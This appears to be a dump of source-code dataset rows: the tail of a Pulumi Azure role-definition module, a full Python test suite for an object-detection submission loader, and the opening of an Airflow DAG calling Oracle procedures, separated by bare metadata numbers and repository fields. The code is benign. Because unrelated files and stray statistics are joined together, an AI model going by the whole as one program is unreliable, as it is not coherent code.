provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `dataActions` (`pulumi.Input[list]`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notActions` (`pulumi.Input[list]`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notDataActions` (`pulumi.Input[list]`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. """ if __name__ is not None: warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning) resource_name = __name__ if __opts__ is not None: warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning) opts = __opts__ if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = dict() if assignable_scopes is None: raise TypeError("Missing required property 'assignable_scopes'") __props__['assignable_scopes'] = assignable_scopes __props__['description'] = description __props__['name'] = name if permissions is None: raise TypeError("Missing required property 'permissions'") __props__['permissions'] = permissions __props__['role_definition_id'] = role_definition_id if scope is None: raise TypeError("Missing required property 'scope'") __props__['scope'] = scope super(Definition, __self__).__init__( 'azure:role/definition:Definition', resource_name, __props__, opts) @staticmethod def get(resource_name, id, opts=None, assignable_scopes=None, description=None, name=None, permissions=None, role_definition_id=None, scope=None): """ Get an existing Definition resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param str id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[list] assignable_scopes: One or more assignable scopes for this Role Definition, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. :param pulumi.Input[str] description: A description of the Role Definition. :param pulumi.Input[str] name: The name of the Role Definition. Changing this forces a new resource to be created. :param pulumi.Input[list] permissions: A `permissions` block as defined below. :param pulumi.Input[str] role_definition_id: A unique UUID/GUID which identifies this role - one will be generated if not specified. Changing this forces a new resource to be created. :param pulumi.Input[str] scope: The scope at which the Role Definition applies too, such as `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333`, `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup`, or `/subscriptions/0b1f6471-1bf0-4dda-aec3-111122223333/resourceGroups/myGroup/providers/Microsoft.Compute/virtualMachines/myVM`. It is recommended to use the first entry of the `assignable_scopes`. Changing this forces a new resource to be created. The **permissions** object supports the following: * `actions` (`pulumi.Input[list]`) - One or more Allowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `dataActions` (`pulumi.Input[list]`) - One or more Allowed Data Actions, such as `*`, `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notActions` (`pulumi.Input[list]`) - One or more Disallowed Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. * `notDataActions` (`pulumi.Input[list]`) - One or more Disallowed Data Actions, such as `*`, `Microsoft.Resources/subscriptions/resourceGroups/read`. See ['Azure Resource Manager resource provider operations'](https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for details. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = dict() __props__["assignable_scopes"] = assignable_scopes __props__["description"] = description __props__["name"] = name __props__["permissions"] = permissions __props__["role_definition_id"] = role_definition_id __props__["scope"] = scope return Definition(resource_name, opts=opts, __props__=__props__) def translate_output_property(self, prop): return tables._CAMEL_TO_SNAKE_CASE_TABLE.get(prop) or prop def translate_input_property(self, prop): return tables._SNAKE_TO_CAMEL_CASE_TABLE.get(prop) or prop

85.870504

482

0.735841

1,480

11,936

5.811486

0.131081

0.044646

0.07255

0.060691

0.810952

0.798047

0.785723

0.770724

0.762818

0

0.039609

0.160271

11,936

138

483

86.492754

0.818517

0.511478

0

0.032258

1

0

0.168667

0.010107

0

1

0.064516

false

0.016129

0.096774

0.032258

0.322581

0

null

0

1

0

1

0

null

0

7

6a32e10cb7e9ec4312e58864aa6b06086a4f6dfe

26,335

py

Python

tests/test_submission_loader.py

jskinn/rvchallenge-evaluation

1b4bfcb2864e112a5c3ffeae39ea617c46a0bb33

[ "BSD-3-Clause" ]

8

2019-05-02T19:06:02.000Z

2021-08-31T09:11:31.000Z

rvchallenge-evaluation-master/tests/test_submission_loader.py

robotic-vision-lab/Deep-Ensembles-For-Probabilistic-Object-Detection

82fd36376694f447ccb5564c7af4cc6128b3ea60

[ "Apache-2.0" ]

1

2020-07-07T03:11:53.000Z

rvchallenge-evaluation-master/tests/test_submission_loader.py

robotic-vision-lab/Deep-Ensembles-For-Probabilistic-Object-Detection

82fd36376694f447ccb5564c7af4cc6128b3ea60

[ "Apache-2.0" ]

5

2019-02-13T06:03:15.000Z

2020-04-02T00:12:42.000Z

from __future__ import absolute_import, division, print_function, unicode_literals import types import os.path import shutil import json import numpy as np import tests.test_helpers as th import data_holders import submission_loader import class_list class TestSubmissionLoaderGenImgPBoxes(th.ExtendedTestCase): def test_returns_empty_generator_for_no_detections(self): gen = submission_loader.gen_img_pboxes({}, [[0], [0]]) self.assertIsInstance(gen, types.GeneratorType) dets = list(gen) self.assertEqual(dets, []) def test_builds_detection_instances(self): img_dets = [{ 'label_probs': [0.1, 0.1, 0.1, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }, { 'label_probs': [0.8, 0.05, 0.05, 0.05, 0.05], 'bbox': [21, 81, 87, 112], 'covars': [[[15, 5], [5, 21]], [[100, 0], [0, 5]]] }, { 'label_probs': [0.2, 0.1, 0.3, 0.1, 0.3], 'bbox': [3, 6, 13, 121] }] dets = list(submission_loader.gen_img_pboxes(img_dets, [list(range(5)), list(range(5))], num_classes=5)) self.assertEqual(len(img_dets), len(dets)) for idx in range(len(img_dets)): self.assertIsInstance(dets[idx], data_holders.DetectionInstance) expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[0:5] = img_dets[idx]['label_probs'] self.assertNPEqual(expected_list, dets[idx].class_list) def test_reorders_label_probs(self): det = next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [[2, 1, 3], [0, 2, 3]], num_classes=4)) expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[2] = 0.1 expected_list[1] = 0.3 expected_list[3] = 0.4 self.assertNPEqual(expected_list, det.class_list) def test_normalizes_class_list(self): det = next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.2, 0.3, 0.4, 0.5], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [list(range(5)), list(range(5))], num_classes=5)) expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[0:5] = [0.1, 0.2, 0.3, 0.4, 0.5] expected_list /= np.sum(expected_list) self.assertNPEqual(expected_list, det.class_list) def test_doesnt_normalize_underestimate(self): det = next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [list(range(5)), list(range(5))], num_classes=5)) expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[0:5] = [0.1, 0.1, 0.1, 0.1, 0.2] self.assertNPEqual(expected_list, det.class_list) def test_errors_for_missing_label_probs(self): with self.assertRaises(KeyError) as cm: next(submission_loader.gen_img_pboxes([{ # 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_label_probs_wrong_length(self): with self.assertRaises(KeyError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46] }], [list(range(5)), list(range(5))], num_classes=6, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_missing_bbox(self): with self.assertRaises(KeyError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2] # 'bbox': [12, 14, 55, 46] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_bbox_wrong_size(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46, 47] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_bbox_xmax_less_than_xmin(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [55, 14, 12, 46] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_bbox_ymax_less_than_ymin(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 46, 55, 14] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_invalid_cov(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[1, 0], [0, 1]] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_assymetric_cov(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 2], [3, 4]], [[1, 0], [0, 1]]] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[5, 6], [7, 8]]] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def test_errors_for_non_positive_definite_cov(self): with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) with self.assertRaises(ValueError) as cm: next(submission_loader.gen_img_pboxes([{ 'label_probs': [0.1, 0.1, 0.1, 0.1, 0.2], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 2], [2, 1]]] }], [list(range(5)), list(range(5))], num_classes=5, img_idx=13, sequence_name='test.json')) self.assert_contains_indexes(cm, 'test.json', 13, 0) def assert_contains_indexes(self, cm, sequence_name, img_num, det_idx): msg = str(cm.exception) self.assertIn(str(sequence_name), msg) self.assertIn(str(img_num), msg) self.assertIn(str(det_idx), msg) class TestSubmissionLoaderReadSequence(th.ExtendedTestCase): temp_dir = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'temp') def tearDown(self): if os.path.isdir(self.temp_dir): shutil.rmtree(self.temp_dir) def make_sequence(self, detections): os.makedirs(self.temp_dir, exist_ok=True) json_file = os.path.join(self.temp_dir, 'test.json') patch_classes(detections) with open(json_file, 'w') as fp: json.dump({ 'classes': class_list.CLASSES, 'detections': detections }, fp) return json_file def test_returns_generator_of_generators(self): detections = [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], ] sequence_json = self.make_sequence(detections) gen = submission_loader.read_sequence(sequence_json) self.assertIsInstance(gen, types.GeneratorType) seq_dets = list(gen) self.assertEqual(len(detections), len(seq_dets)) for img_idx in range(len(seq_dets)): self.assertIsInstance(seq_dets[img_idx], types.GeneratorType) img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) def test_slice_start_index(self): det = { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] } detections = [ [det for _ in range(1)], [det for _ in range(3)], [det for _ in range(5)], [det for _ in range(7)], ] sequence_json = self.make_sequence(detections) gen = submission_loader.read_sequence(sequence_json, start_index=2) self.assertIsInstance(gen, types.GeneratorType) seq_dets = list(gen) self.assertEqual(len(detections) - 2, len(seq_dets)) for img_idx in range(2, len(seq_dets)): self.assertIsInstance(seq_dets[img_idx], types.GeneratorType) img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) def test_slice_end_index(self): det = { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] } detections = [ [det for _ in range(1)], [det for _ in range(3)], [det for _ in range(5)], [det for _ in range(7)], ] sequence_json = self.make_sequence(detections) gen = submission_loader.read_sequence(sequence_json, end_index=3) self.assertIsInstance(gen, types.GeneratorType) seq_dets = list(gen) self.assertEqual(3, len(seq_dets)) for img_idx in range(3): self.assertIsInstance(seq_dets[img_idx], types.GeneratorType) img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) def test_slice_both(self): det = { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] } detections = [ [det for _ in range(1)], [det for _ in range(3)], [det for _ in range(5)], [det for _ in range(7)], ] sequence_json = self.make_sequence(detections) gen = submission_loader.read_sequence(sequence_json, start_index=1, end_index=3) self.assertIsInstance(gen, types.GeneratorType) seq_dets = list(gen) self.assertEqual(2, len(seq_dets)) for img_idx in range(2): self.assertIsInstance(seq_dets[img_idx], types.GeneratorType) img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx + 1]), len(img_dets)) def test_returns_empty_generator_for_no_images(self): sequence_json = self.make_sequence([]) gen = submission_loader.read_sequence(sequence_json) self.assertIsInstance(gen, types.GeneratorType) dets = list(gen) self.assertEqual(dets, []) def test_inner_generator_returns_detection_instances(self): detections = [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], ] sequence_json = self.make_sequence(detections) gen = submission_loader.read_sequence(sequence_json) seq_dets = list(gen) self.assertEqual(len(detections), len(seq_dets)) for img_idx in range(len(seq_dets)): img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) for det_idx in range(len(img_dets)): self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance) expected_probs = detections[img_idx][det_idx]['label_probs'] expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[0:len(expected_probs)] = expected_probs self.assertNPEqual(expected_list, img_dets[det_idx].class_list) def test_errors_contain_correct_image_numbers(self): detections = [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]] }], ] sequence_json = self.make_sequence(detections) seq_gen = submission_loader.read_sequence(sequence_json) # the first 3 images are fine for _ in range(3): next(seq_gen) img_dets = next(seq_gen) next(img_dets) # First detection is fine with self.assertRaises(ValueError) as cm: next(img_dets) # Second detection, fourth image has a problem msg = str(cm.exception) self.assertIn(os.path.basename(sequence_json), msg) self.assertIn('3', msg) self.assertIn('1', msg) def test_errors_if_classes_missing(self): detections = [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]] }], ] patch_classes(detections) os.makedirs(self.temp_dir, exist_ok=True) json_file = os.path.join(self.temp_dir, 'test.json') with open(json_file, 'w') as fp: json.dump({ # 'classes': class_list.CLASSES, 'detections': detections }, fp) with self.assertRaises(KeyError) as cm: next(submission_loader.read_sequence(json_file)) msg = str(cm.exception) self.assertIn('test.json', msg) def test_errors_if_detections_missing(self): os.makedirs(self.temp_dir, exist_ok=True) json_file = os.path.join(self.temp_dir, 'test.json') with open(json_file, 'w') as fp: json.dump({ 'classes': class_list.CLASSES, # 'detections': detections }, fp) with self.assertRaises(KeyError) as cm: next(submission_loader.read_sequence(json_file)) msg = str(cm.exception) self.assertIn('test.json', msg) def test_errors_if_no_valid_classes(self): detections = [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 0], [0, 1]], [[1, 0], [0, 1]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[1, 2], [2, 1]], [[1, 0], [0, 1]]] }], ] patch_classes(detections) os.makedirs(self.temp_dir, exist_ok=True) json_file = os.path.join(self.temp_dir, 'test.json') with open(json_file, 'w') as fp: json.dump({ 'classes': [str(idx) for idx in range(len(class_list.CLASSES))], 'detections': detections }, fp) with self.assertRaises(ValueError) as cm: next(submission_loader.read_sequence(json_file)) msg = str(cm.exception) self.assertIn('test.json', msg) class TestSubmissionLoaderReadSubmission(th.ExtendedTestCase): temp_dir = os.path.join(os.path.dirname(__file__), 'temp') def tearDown(self): if os.path.isdir(self.temp_dir): shutil.rmtree(self.temp_dir) def make_submission(self, detections_map, subfolder=None): root = self.temp_dir if subfolder is not None: root = os.path.join(self.temp_dir, subfolder) os.makedirs(root, exist_ok=True) for sequence_name, detections in detections_map.items(): json_file = os.path.join(root, '{0}.json'.format(sequence_name)) patch_classes(detections) with open(json_file, 'w') as fp: json.dump({ 'classes': class_list.CLASSES, 'detections': detections }, fp) def test_returns_map_of_name_to_generator(self): self.make_submission({'000000': [], '000001': []}) sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'}) self.assertIn('000000', sequences) self.assertIn('000001', sequences) self.assertIsInstance(sequences['000000'], types.GeneratorType) self.assertIsInstance(sequences['000001'], types.GeneratorType) def test_finds_only_requested_sequences(self): self.make_submission({'000000': [], '000001': []}) sequences = submission_loader.read_submission(self.temp_dir, {'000000'}) self.assertEqual({'000000'}, set(sequences.keys())) self.assertIsInstance(sequences['000000'], types.GeneratorType) def test_searches_for_sequences_in_subfolders(self): self.make_submission({'000000': [], '000001': []}, 'folder_a') self.make_submission({'000002': [], '000003': []}, 'folder_b') sequence_names = {'000000', '000001', '000002', '000003'} sequences = submission_loader.read_submission(self.temp_dir, sequence_names) self.assertEqual(sequence_names, set(sequences.keys())) self.assertIsInstance(sequences['000000'], types.GeneratorType) self.assertIsInstance(sequences['000001'], types.GeneratorType) self.assertIsInstance(sequences['000002'], types.GeneratorType) self.assertIsInstance(sequences['000003'], types.GeneratorType) def test_raises_error_if_duplicate_sequence(self): self.make_submission({'000000': [], '000001': []}, 'folder_a') self.make_submission({'000000': [], '000002': []}, 'folder_b') sequence_names = {'000000', '000001', '000002'} with self.assertRaises(ValueError) as cm: submission_loader.read_submission(self.temp_dir, sequence_names) msg = str(cm.exception) self.assertIn('folder_a/000000.json', msg) self.assertIn('folder_b/000000.json', msg) def test_generators_read_sequences(self): submission = { '000000': [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], ], '000001': [ [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], [], [], [{ 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }, { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55, 46], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] }], ] } self.make_submission(submission) sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'}) for sequence_name, detections in submission.items(): self.assertIn(sequence_name, sequences) seq_dets = list(sequences[sequence_name]) self.assertEqual(len(detections), len(seq_dets)) for img_idx in range(len(seq_dets)): img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) for det_idx in range(len(img_dets)): self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance) expected_probs = detections[img_idx][det_idx]['label_probs'] expected_list = np.zeros(len(class_list.CLASSES), dtype=np.float32) expected_list[0:len(expected_probs)] = expected_probs self.assertNPEqual(expected_list, img_dets[det_idx].class_list) self.assertNPEqual(img_dets[det_idx].box, detections[img_idx][det_idx]['bbox']) def test_generators_slice_sequences(self): def make_det(idx): return { 'label_probs': [0.1, 0.2, 0.3, 0.4], 'bbox': [12, 14, 55 + idx, 46 + idx], 'covars': [[[0, 0], [0, 0]], [[0, 0], [0, 0]]] } submission = { '000000': [ [make_det(idx) for idx in range(3)], [make_det(idx) for idx in range(5)], [make_det(idx) for idx in range(7)], [make_det(idx) for idx in range(9)] ], '000001': [ [make_det(idx) for idx in range(2)], [make_det(idx) for idx in range(4)], [make_det(idx) for idx in range(6)] ] } self.make_submission(submission) sequences = submission_loader.read_submission(self.temp_dir, {'000000', '000001'}, start_index=1, end_index=5) for sequence_name in submission.keys(): self.assertIn(sequence_name, sequences) seq_dets = list(sequences[sequence_name]) detections = submission[sequence_name][1:5] self.assertEqual(len(detections), len(seq_dets)) for img_idx in range(len(seq_dets)): img_dets = list(seq_dets[img_idx]) self.assertEqual(len(detections[img_idx]), len(img_dets)) for det_idx in range(len(img_dets)): self.assertIsInstance(img_dets[det_idx], data_holders.DetectionInstance) self.assertNPEqual(img_dets[det_idx].box, detections[img_idx][det_idx]['bbox']) def patch_classes(detections): # Patch the label probabilities to be the right length for img_dets in detections: for det in img_dets: if len(det['label_probs']) < len(class_list.CLASSES): det['label_probs'] = make_probs(det['label_probs']) def make_probs(probs): full_probs = [0.0] * len(class_list.CLASSES) full_probs[0:len(probs)] = probs return full_probs

43.172131

118

0.529941

3,392

26,335

3.923054

0.061026

0.024498

0.027053

0.030059

0.825355

0.793267

0.778838

0.749981

0.744345

0.703615

0

0.080222

0.3075

26,335

609

119

43.243021

0.649449

0.010328

0

0.70073

0

0.061257

0

0.169708

1

0.069343

false

0

0.018248

0.001825

0.10219

0.001825

0

null

0

1

0

1

0

null

0

7

dbde5856a3a92680e89447e62c44db3d2cdb12d4

37,344

py

Python

etl_base/dags/sqlg_jobs_MFG.py

buckylee2019/sqlg-airflow

37610a23b99bea8d9fdc8b066a01736ff2ff0c9d

[ "Apache-2.0" ]

null

etl_base/dags/sqlg_jobs_MFG.py

buckylee2019/sqlg-airflow

37610a23b99bea8d9fdc8b066a01736ff2ff0c9d

[ "Apache-2.0" ]

null

etl_base/dags/sqlg_jobs_MFG.py

buckylee2019/sqlg-airflow

37610a23b99bea8d9fdc8b066a01736ff2ff0c9d

[ "Apache-2.0" ]

1

2022-03-10T03:47:35.000Z

# -*- coding: utf-8 -*- # Author : Jesse Wei # LastUpdate : 2020/10/04 # Impact : Jobs generated by SQLG # Message : Humanity towards others, we live by sharing. Fear can hold you prisoner, only hope can set you free. # from __future__ import print_function import logging import airflow from datetime import datetime, timedelta from airflow.operators.sensors import ExternalTaskSensor from airflow.operators.python_operator import PythonOperator from airflow.operators.bash_operator import BashOperator from airflow.contrib.sensors.file_sensor import FileSensor from airflow import models from airflow.models import Variable from acme.operators.sqlg_oracle import OracleOperatorWithTemplatedParams from airflow.operators.oracle_operator import OracleOperator # DB_NAME = 'DWH' # JOB_TYPE=ODS-MAIN my_taskid = "MV_HR_EMPMSF_H" MV_HR_EMPMSF_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MV_HR_EMPMSF_CN_H" MV_HR_EMPMSF_CN_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "MV_HR_EMPMSF_VN_H" MV_HR_EMPMSF_VN_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "HR_DEPMSF_H" HR_DEPMSF_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "HR_DEPMSF_CN_H" HR_DEPMSF_CN_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ ":END_DT_CHAR"+ "); End;" ) # JOB_TYPE=ODS-MAIN my_taskid = "HR_DEPMSF_VN_H" HR_DEPMSF_VN_H = OracleOperatorWithTemplatedParams( task_id=my_taskid, parameters=({":END_DT_CHAR":"{{ ds_nodash }}"}), sql= "Begin SQLEXT." + my_taskid + "_SP("+ 